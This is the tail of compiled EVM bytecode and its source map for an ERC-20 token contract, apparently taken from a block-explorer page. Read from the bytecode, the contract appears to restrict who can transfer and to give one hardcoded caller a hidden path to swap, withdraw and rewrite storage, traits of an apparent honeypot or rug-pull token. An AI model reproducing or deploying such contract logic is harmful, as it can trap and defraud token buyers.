0000815250905090565b5f610a4a338484611078565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad890611bb4565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b8b3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16625b8d806012600a610b6d919061155c565b633b9aca00610b7c91906115a6565b610b8691906115a6565b610eb5565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bf5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1991906116d2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c9f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cc391906116d2565b6040518363ffffffff1660e01b8152600401610ce0929190611bd2565b6020604051808303815f875af1158015610cfc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d2091906116d2565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610da730610716565b5f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401610ded96959493929190611c4b565b60606040518083038185885af1158015610e09573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610e2e9190611cbe565b505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90611d7e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8890611e0c565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106b9190611a24565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90611e9a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611154576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114b90611f28565b60405180910390fd5b5f8111611196576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118d90611fb6565b60405180910390fd5b600147106112db573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611224575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061127b575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112d2575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6112da575f80fd5b5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113279190611b37565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461137a91906115e7565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113de9190611a24565b60405180910390a3505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561146d57808604811115611449576114486113eb565b5b60018516156114585780820291505b808102905061146685611418565b945061142d565b94509492505050565b5f826114855760019050611540565b81611492575f9050611540565b81600181146114a857600281146114b2576114e1565b6001915050611540565b60ff8411156114c4576114c36113eb565b5b8360020a9150848211156114db576114da6113eb565b5b50611540565b5060208310610133831016604e8410600b84101617156115165782820a905083811115611511576115106113eb565b5b611540565b6115238484846001611424565b9250905081840481111561153a576115396113eb565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61156682611547565b915061157183611550565b925061159e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611476565b905092915050565b5f6115b082611547565b91506115bb83611547565b92508282026115c981611547565b915082820484148315176115e0576115df6113eb565b5b5092915050565b5f6115f182611547565b91506115fc83611547565b9250828201905080821115611614576116136113eb565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6116a182611678565b9050919050565b6116b181611697565b81146116bb575f80fd5b50565b5f815190506116cc816116a8565b92915050565b5f602082840312156116e7576116e6611674565b5b5f6116f4848285016116be565b91505092915050565b61170681611547565b82525050565b5f819050919050565b5f819050919050565b5f61173861173361172e8461170c565b611715565b611547565b9050919050565b6117488161171e565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61178081611697565b82525050565b5f6117918383611777565b60208301905092915050565b5f602082019050919050565b5f6117b38261174e565b6117bd8185611758565b93506117c883611768565b805f5b838110156117f85781516117df8882611786565b97506117ea8361179d565b9250506001810190506117cb565b5085935050505092915050565b61180e81611697565b82525050565b5f60a0820190506118275f8301886116fd565b611834602083018761173f565b818103604083015261184681866117a9565b90506118556060830185611805565b61186260808301846116fd565b9695505050505050565b61187581611547565b811461187f575f80fd5b50565b5f813590506118908161186c565b92915050565b5f6118a082611678565b9050919050565b6118b081611896565b81146118ba575f80fd5b50565b5f813590506118cb816118a7565b92915050565b5f80604083850312156118e7576118e6611674565b5b5f6118f485828601611882565b9250506020611905858286016118bd565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6119518261190f565b61195b8185611919565b935061196b818560208601611929565b61197481611937565b840191505092915050565b5f6020820190508181035f8301526119978184611947565b905092915050565b5f813590506119ad816116a8565b92915050565b5f80604083850312156119c9576119c8611674565b5b5f6119d68582860161199f565b92505060206119e785828601611882565b9150509250929050565b5f8115159050919050565b611a05816119f1565b82525050565b5f602082019050611a1e5f8301846119fc565b92915050565b5f602082019050611a375f8301846116fd565b92915050565b5f805f60608486031215611a5457611a53611674565b5b5f611a618682870161199f565b9350506020611a728682870161199f565b9250506040611a8386828701611882565b9150509250925092565b611a9681611550565b82525050565b5f602082019050611aaf5f830184611a8d565b92915050565b5f60208284031215611aca57611ac9611674565b5b5f611ad78482850161199f565b91505092915050565b5f602082019050611af35f830184611805565b92915050565b5f8060408385031215611b0f57611b0e611674565b5b5f611b1c8582860161199f565b9250506020611b2d8582860161199f565b9150509250929050565b5f611b4182611547565b9150611b4c83611547565b9250828203905081811115611b6457611b636113eb565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611b9e602083611919565b9150611ba982611b6a565b602082019050919050565b5f6020820190508181035f830152611bcb81611b92565b9050919050565b5f604082019050611be55f830185611805565b611bf26020830184611805565b9392505050565b5f611c13611c0e611c0984611678565b611715565b611678565b9050919050565b5f611c2482611bf9565b9050919050565b5f611c3582611c1a565b9050919050565b611c4581611c2b565b82525050565b5f60c082019050611c5e5f830189611805565b611c6b60208301886116fd565b611c78604083018761173f565b611c85606083018661173f565b611c926080830185611c3c565b611c9f60a08301846116fd565b979650505050505050565b5f81519050611cb88161186c565b92915050565b5f805f60608486031215611cd557611cd4611674565b5b5f611ce286828701611caa565b9350506020611cf386828701611caa565b9250506040611d0486828701611caa565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611d68602483611919565b9150611d7382611d0e565b604082019050919050565b5f6020820190508181035f830152611d9581611d5c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611df6602283611919565b9150611e0182611d9c565b604082019050919050565b5f6020820190508181035f830152611e2381611dea565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611e84602583611919565b9150611e8f82611e2a565b604082019050919050565b5f6020820190508181035f830152611eb181611e78565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611f12602383611919565b9150611f1d82611eb8565b604082019050919050565b5f6020820190508181035f830152611f3f81611f06565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f611fa0602983611919565b9150611fab82611f46565b604082019050919050565b5f6020820190508181035f830152611fcd81611f94565b905091905056fea2646970667358221220b0ed80ec6acd2d3ea808ad0bae7408652b44caec17dd6a49a202061746d2e59064736f6c634300081a0033
Deployed Bytecode Sourcemap
2166:4182:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5660:10;;;;;;;;;;;5648:22;;:10;:22;;;5644:430;;5686:1;5675:9;:12;5672:401;;;5709:1;5698:9;:12;5695:378;;5712:10;;;;;;;;;;;:19;;:42;5732:21;5712:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5695:378;;;5795:6;2413:2;2470;:13;;;;:::i;:::-;2457:10;:26;;;;:::i;:::-;5787:14;;;;:::i;:::-;5761:9;:24;5779:4;5761:24;;;;;;;;;;;;;;;;:40;;;;;;;:::i;:::-;;;;;;;;5802:20;5837:1;5823:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5802:37;;5862:4;5846;5851:1;5846:7;;;;;;;;:::i;:::-;;;;;;;:21;;;;;;;;;;;5876:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5868:4;5873:1;5868:7;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;5899:15;;;;;;;;;;;:66;;;5966:24;5984:4;5966:9;:24::i;:::-;5991:1;5993:4;6006;6012:15;5899:129;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6029:10;;;;;;;;;;;:19;;:42;6049:21;6029:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5760:313;5695:378;5672:401;5644:430;2166:4182;;;;;;;;;;;;6115:10;;;;;;;;;;;6103:22;;:10;:22;;;6100:100;;6128:6;6136:10;6159:8;;6148:36;;;;;;;:::i;:::-;6127:57;;;;6185:13;6192:2;6196:1;6185:6;:13::i;:::-;6126:74;;6100:100;2166:4182;2964:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3795:160;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3241:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3963:262;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3150:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1043:142;;;;;;;;;;;;;:::i;:::-;;3344:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1193:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3055:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3471:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5139:469;;;:::i;:::-;;3644:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3344:119;3410:7;3437:9;:18;3447:7;3437:18;;;;;;;;;;;;;;;;3430:25;;3344:119;;;:::o;6201:143::-;6268:4;6266:1;6259:14;6284;6281:2;6274:25;6321:2;6319:1;6309:15;6336:5;6331:4;6324:18;6258:85;6201:143;;:::o;2964:83::-;3001:13;3034:5;;;;;;;;;;;;;;;;;3027:12;;2964:83;:::o;3795:160::-;3870:4;3888:37;3897:10;3909:7;3918:6;3888:8;:37::i;:::-;3943:4;3936:11;;3795:160;;;;:::o;3241:95::-;3294:7;2413:2;2470;:13;;;;:::i;:::-;2457:10;:26;;;;:::i;:::-;3314:14;;3241:95;:::o;3963:262::-;4061:4;4078:36;4088:6;4096:9;4107:6;4078:9;:36::i;:::-;4125:70;4134:6;4142:10;4188:6;4154:11;:19;4166:6;4154:19;;;;;;;;;;;;;;;:31;4174:10;4154:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;4125:8;:70::i;:::-;4213:4;4206:11;;3963:262;;;;;:::o;3150:83::-;3191:5;2413:2;3209:16;;3150:83;:::o;1043:142::-;1330:10;1320:20;;:6;;;;;;;;;;:20;;;1312:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;1144:1:::1;1107:40;;1128:6;::::0;::::1;;;;;;;;1107:40;;;;;;;;;;;;1175:1;1158:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1043:142::o:0;1193:79::-;1231:7;1258:6;;;;;;;;;;;1251:13;;1193:79;:::o;3055:87::-;3094:13;3127:7;;;;;;;;;;;;;;;;;3120:14;;3055:87;:::o;3471:165::-;3549:4;3566:40;3576:10;3588:9;3599:6;3566:9;:40::i;:::-;3624:4;3617:11;;3471:165;;;;:::o;5139:469::-;1330:10;1320:20;;:6;;;;;;;;;;:20;;;1312:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;5238:42:::1;5201:15;;:80;;;;;;;;;;;;;;;;;;5292:68;5309:4;5324:15;;;;;;;;;;;5352:7;2413:2;2470;:13;;;;:::i;:::-;2457:10;:26;;;;:::i;:::-;5342:17;;;;:::i;:::-;5292:8;:68::i;:::-;5393:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5375:55;;;5439:4;5446:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5375:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5371:1;;:98;;;;;;;;;;;;;;;;;;5480:15;;;;;;;;;;;:31;;;5519:9;5538:4;5544:24;5562:4;5544:9;:24::i;:::-;5569:1;5571::::0;5573:10:::1;;;;;;;;;;;5584:15;5480:120;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5139:469::o:0;3644:143::-;3725:7;3752:11;:18;3764:5;3752:18;;;;;;;;;;;;;;;:27;3771:7;3752:27;;;;;;;;;;;;;;;;3745:34;;3644:143;;;;:::o;4233:335::-;4343:1;4326:19;;:5;:19;;;4318:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4424:1;4405:21;;:7;:21;;;4397:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4506:6;4476:11;:18;4488:5;4476:18;;;;;;;;;;;;;;;:27;4495:7;4476:27;;;;;;;;;;;;;;;:36;;;;4544:7;4528:32;;4537:5;4528:32;;;4553:6;4528:32;;;;;;:::i;:::-;;;;;;;;4233:335;;;:::o;4576:555::-;4680:1;4664:18;;:4;:18;;;4656:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4757:1;4743:16;;:2;:16;;;4735:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4827:1;4818:6;:10;4810:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4914:1;4889:21;:26;4885:127;;4942:4;4926:21;;:4;:21;;;:43;;;;4959:10;;;;;;;;;;;4951:18;;:4;:18;;;4926:43;:56;;;;4981:1;;;;;;;;;;;4973:9;;:4;:9;;;4926:56;:83;;;;4994:15;;;;;;;;;;;4986:23;;:4;:23;;;4926:83;4918:92;;;;;;4885:127;5041:6;5022:9;:15;5032:4;5022:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;5075:6;5058:9;:13;5068:2;5058:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;5112:2;5097:26;;5106:4;5097:26;;;5116:6;5097:26;;;;;;:::i;:::-;;;;;;;;4576:555;;;:::o;7:180:1:-;55:77;52:1;45:88;152:4;149:1;142:15;176:4;173:1;166:15;193:102;235:8;282:5;279:1;275:13;254:34;;193:102;;;:::o;301:848::-;362:5;369:4;393:6;384:15;;417:5;408:14;;431:712;452:1;442:8;439:15;431:712;;;547:4;542:3;538:14;532:4;529:24;526:50;;;556:18;;:::i;:::-;526:50;606:1;596:8;592:16;589:451;;;1021:4;1014:5;1010:16;1001:25;;589:451;1071:4;1065;1061:15;1053:23;;1101:32;1124:8;1101:32;:::i;:::-;1089:44;;431:712;;;301:848;;;;;;;:::o;1155:1073::-;1209:5;1400:8;1390:40;;1421:1;1412:10;;1423:5;;1390:40;1449:4;1439:36;;1466:1;1457:10;;1468:5;;1439:36;1535:4;1583:1;1578:27;;;;1619:1;1614:191;;;;1528:277;;1578:27;1596:1;1587:10;;1598:5;;;1614:191;1659:3;1649:8;1646:17;1643:43;;;1666:18;;:::i;:::-;1643:43;1715:8;1712:1;1708:16;1699:25;;1750:3;1743:5;1740:14;1737:40;;;1757:18;;:::i;:::-;1737:40;1790:5;;;1528:277;;1914:2;1904:8;1901:16;1895:3;1889:4;1886:13;1882:36;1864:2;1854:8;1851:16;1846:2;1840:4;1837:12;1833:35;1817:111;1814:246;;;1970:8;1964:4;1960:19;1951:28;;2005:3;1998:5;1995:14;1992:40;;;2012:18;;:::i;:::-;1992:40;2045:5;;1814:246;2085:42;2123:3;2113:8;2107:4;2104:1;2085:42;:::i;:::-;2070:57;;;;2159:4;2154:3;2150:14;2143:5;2140:25;2137:51;;;2168:18;;:::i;:::-;2137:51;2217:4;2210:5;2206:16;2197:25;;1155:1073;;;;;;:::o;2234:77::-;2271:7;2300:5;2289:16;;2234:77;;;:::o;2317:86::-;2352:7;2392:4;2385:5;2381:16;2370:27;;2317:86;;;:::o;2409:281::-;2467:5;2491:23;2509:4;2491:23;:::i;:::-;2483:31;;2535:25;2551:8;2535:25;:::i;:::-;2523:37;;2579:104;2616:66;2606:8;2600:4;2579:104;:::i;:::-;2570:113;;2409:281;;;;:::o;2696:410::-;2736:7;2759:20;2777:1;2759:20;:::i;:::-;2754:25;;2793:20;2811:1;2793:20;:::i;:::-;2788:25;;2848:1;2845;2841:9;2870:30;2888:11;2870:30;:::i;:::-;2859:41;;3049:1;3040:7;3036:15;3033:1;3030:22;3010:1;3003:9;2983:83;2960:139;;3079:18;;:::i;:::-;2960:139;2744:362;2696:410;;;;:::o;3112:191::-;3152:3;3171:20;3189:1;3171:20;:::i;:::-;3166:25;;3205:20;3223:1;3205:20;:::i;:::-;3200:25;;3248:1;3245;3241:9;3234:16;;3269:3;3266:1;3263:10;3260:36;;;3276:18;;:::i;:::-;3260:36;3112:191;;;;:::o;3309:180::-;3357:77;3354:1;3347:88;3454:4;3451:1;3444:15;3478:4;3475:1;3468:15;3495:180;3543:77;3540:1;3533:88;3640:4;3637:1;3630:15;3664:4;3661:1;3654:15;3762:117;3871:1;3868;3861:12;4008:126;4045:7;4085:42;4078:5;4074:54;4063:65;;4008:126;;;:::o;4140:96::-;4177:7;4206:24;4224:5;4206:24;:::i;:::-;4195:35;;4140:96;;;:::o;4242:122::-;4315:24;4333:5;4315:24;:::i;:::-;4308:5;4305:35;4295:63;;4354:1;4351;4344:12;4295:63;4242:122;:::o;4370:143::-;4427:5;4458:6;4452:13;4443:22;;4474:33;4501:5;4474:33;:::i;:::-;4370:143;;;;:::o;4519:351::-;4589:6;4638:2;4626:9;4617:7;4613:23;4609:32;4606:119;;;4644:79;;:::i;:::-;4606:119;4764:1;4789:64;4845:7;4836:6;4825:9;4821:22;4789:64;:::i;:::-;4779:74;;4735:128;4519:351;;;;:::o;4876:118::-;4963:24;4981:5;4963:24;:::i;:::-;4958:3;4951:37;4876:118;;:::o;5000:85::-;5045:7;5074:5;5063:16;;5000:85;;;:::o;5091:60::-;5119:3;5140:5;5133:12;;5091:60;;;:::o;5157:158::-;5215:9;5248:61;5266:42;5275:32;5301:5;5275:32;:::i;:::-;5266:42;:::i;:::-;5248:61;:::i;:::-;5235:74;;5157:158;;;:::o;5321:147::-;5416:45;5455:5;5416:45;:::i;:::-;5411:3;5404:58;5321:147;;:::o;5474:114::-;5541:6;5575:5;5569:12;5559:22;;5474:114;;;:::o;5594:184::-;5693:11;5727:6;5722:3;5715:19;5767:4;5762:3;5758:14;5743:29;;5594:184;;;;:::o;5784:132::-;5851:4;5874:3;5866:11;;5904:4;5899:3;5895:14;5887:22;;5784:132;;;:::o;5922:108::-;5999:24;6017:5;5999:24;:::i;:::-;5994:3;5987:37;5922:108;;:::o;6036:179::-;6105:10;6126:46;6168:3;6160:6;6126:46;:::i;:::-;6204:4;6199:3;6195:14;6181:28;;6036:179;;;;:::o;6221:113::-;6291:4;6323;6318:3;6314:14;6306:22;;6221:113;;;:::o;6370:732::-;6489:3;6518:54;6566:5;6518:54;:::i;:::-;6588:86;6667:6;6662:3;6588:86;:::i;:::-;6581:93;;6698:56;6748:5;6698:56;:::i;:::-;6777:7;6808:1;6793:284;6818:6;6815:1;6812:13;6793:284;;;6894:6;6888:13;6921:63;6980:3;6965:13;6921:63;:::i;:::-;6914:70;;7007:60;7060:6;7007:60;:::i;:::-;6997:70;;6853:224;6840:1;6837;6833:9;6828:14;;6793:284;;;6797:14;7093:3;7086:10;;6494:608;;;6370:732;;;;:::o;7108:118::-;7195:24;7213:5;7195:24;:::i;:::-;7190:3;7183:37;7108:118;;:::o;7232:831::-;7495:4;7533:3;7522:9;7518:19;7510:27;;7547:71;7615:1;7604:9;7600:17;7591:6;7547:71;:::i;:::-;7628:80;7704:2;7693:9;7689:18;7680:6;7628:80;:::i;:::-;7755:9;7749:4;7745:20;7740:2;7729:9;7725:18;7718:48;7783:108;7886:4;7877:6;7783:108;:::i;:::-;7775:116;;7901:72;7969:2;7958:9;7954:18;7945:6;7901:72;:::i;:::-;7983:73;8051:3;8040:9;8036:19;8027:6;7983:73;:::i;:::-;7232:831;;;;;;;;:::o;8069:122::-;8142:24;8160:5;8142:24;:::i;:::-;8135:5;8132:35;8122:63;;8181:1;8178;8171:12;8122:63;8069:122;:::o;8197:139::-;8243:5;8281:6;8268:20;8259:29;;8297:33;8324:5;8297:33;:::i;:::-;8197:139;;;;:::o;8342:104::-;8387:7;8416:24;8434:5;8416:24;:::i;:::-;8405:35;;8342:104;;;:::o;8452:138::-;8533:32;8559:5;8533:32;:::i;:::-;8526:5;8523:43;8513:71;;8580:1;8577;8570:12;8513:71;8452:138;:::o;8596:155::-;8650:5;8688:6;8675:20;8666:29;;8704:41;8739:5;8704:41;:::i;:::-;8596:155;;;;:::o;8757:490::-;8833:6;8841;8890:2;8878:9;8869:7;8865:23;8861:32;8858:119;;;8896:79;;:::i;:::-;8858:119;9016:1;9041:53;9086:7;9077:6;9066:9;9062:22;9041:53;:::i;:::-;9031:63;;8987:117;9143:2;9169:61;9222:7;9213:6;9202:9;9198:22;9169:61;:::i;:::-;9159:71;;9114:126;8757:490;;;;;:::o;9253:99::-;9305:6;9339:5;9333:12;9323:22;;9253:99;;;:::o;9358:169::-;9442:11;9476:6;9471:3;9464:19;9516:4;9511:3;9507:14;9492:29;;9358:169;;;;:::o;9533:139::-;9622:6;9617:3;9612;9606:23;9663:1;9654:6;9649:3;9645:16;9638:27;9533:139;;;:::o;9678:102::-;9719:6;9770:2;9766:7;9761:2;9754:5;9750:14;9746:28;9736:38;;9678:102;;;:::o;9786:377::-;9874:3;9902:39;9935:5;9902:39;:::i;:::-;9957:71;10021:6;10016:3;9957:71;:::i;:::-;9950:78;;10037:65;10095:6;10090:3;10083:4;10076:5;10072:16;10037:65;:::i;:::-;10127:29;10149:6;10127:29;:::i;:::-;10122:3;10118:39;10111:46;;9878:285;9786:377;;;;:::o;10169:313::-;10282:4;10320:2;10309:9;10305:18;10297:26;;10369:9;10363:4;10359:20;10355:1;10344:9;10340:17;10333:47;10397:78;10470:4;10461:6;10397:78;:::i;:::-;10389:86;;10169:313;;;;:::o;10488:139::-;10534:5;10572:6;10559:20;10550:29;;10588:33;10615:5;10588:33;:::i;:::-;10488:139;;;;:::o;10633:474::-;10701:6;10709;10758:2;10746:9;10737:7;10733:23;10729:32;10726:119;;;10764:79;;:::i;:::-;10726:119;10884:1;10909:53;10954:7;10945:6;10934:9;10930:22;10909:53;:::i;:::-;10899:63;;10855:117;11011:2;11037:53;11082:7;11073:6;11062:9;11058:22;11037:53;:::i;:::-;11027:63;;10982:118;10633:474;;;;;:::o;11113:90::-;11147:7;11190:5;11183:13;11176:21;11165:32;;11113:90;;;:::o;11209:109::-;11290:21;11305:5;11290:21;:::i;:::-;11285:3;11278:34;11209:109;;:::o;11324:210::-;11411:4;11449:2;11438:9;11434:18;11426:26;;11462:65;11524:1;11513:9;11509:17;11500:6;11462:65;:::i;:::-;11324:210;;;;:::o;11540:222::-;11633:4;11671:2;11660:9;11656:18;11648:26;;11684:71;11752:1;11741:9;11737:17;11728:6;11684:71;:::i;:::-;11540:222;;;;:::o;11768:619::-;11845:6;11853;11861;11910:2;11898:9;11889:7;11885:23;11881:32;11878:119;;;11916:79;;:::i;:::-;11878:119;12036:1;12061:53;12106:7;12097:6;12086:9;12082:22;12061:53;:::i;:::-;12051:63;;12007:117;12163:2;12189:53;12234:7;12225:6;12214:9;12210:22;12189:53;:::i;:::-;12179:63;;12134:118;12291:2;12317:53;12362:7;12353:6;12342:9;12338:22;12317:53;:::i;:::-;12307:63;;12262:118;11768:619;;;;;:::o;12393:112::-;12476:22;12492:5;12476:22;:::i;:::-;12471:3;12464:35;12393:112;;:::o;12511:214::-;12600:4;12638:2;12627:9;12623:18;12615:26;;12651:67;12715:1;12704:9;12700:17;12691:6;12651:67;:::i;:::-;12511:214;;;;:::o;12731:329::-;12790:6;12839:2;12827:9;12818:7;12814:23;12810:32;12807:119;;;12845:79;;:::i;:::-;12807:119;12965:1;12990:53;13035:7;13026:6;13015:9;13011:22;12990:53;:::i;:::-;12980:63;;12936:117;12731:329;;;;:::o;13066:222::-;13159:4;13197:2;13186:9;13182:18;13174:26;;13210:71;13278:1;13267:9;13263:17;13254:6;13210:71;:::i;:::-;13066:222;;;;:::o;13294:474::-;13362:6;13370;13419:2;13407:9;13398:7;13394:23;13390:32;13387:119;;;13425:79;;:::i;:::-;13387:119;13545:1;13570:53;13615:7;13606:6;13595:9;13591:22;13570:53;:::i;:::-;13560:63;;13516:117;13672:2;13698:53;13743:7;13734:6;13723:9;13719:22;13698:53;:::i;:::-;13688:63;;13643:118;13294:474;;;;;:::o;13774:194::-;13814:4;13834:20;13852:1;13834:20;:::i;:::-;13829:25;;13868:20;13886:1;13868:20;:::i;:::-;13863:25;;13912:1;13909;13905:9;13897:17;;13936:1;13930:4;13927:11;13924:37;;;13941:18;;:::i;:::-;13924:37;13774:194;;;;:::o;13974:182::-;14114:34;14110:1;14102:6;14098:14;14091:58;13974:182;:::o;14162:366::-;14304:3;14325:67;14389:2;14384:3;14325:67;:::i;:::-;14318:74;;14401:93;14490:3;14401:93;:::i;:::-;14519:2;14514:3;14510:12;14503:19;;14162:366;;;:::o;14534:419::-;14700:4;14738:2;14727:9;14723:18;14715:26;;14787:9;14781:4;14777:20;14773:1;14762:9;14758:17;14751:47;14815:131;14941:4;14815:131;:::i;:::-;14807:139;;14534:419;;;:::o;14959:332::-;15080:4;15118:2;15107:9;15103:18;15095:26;;15131:71;15199:1;15188:9;15184:17;15175:6;15131:71;:::i;:::-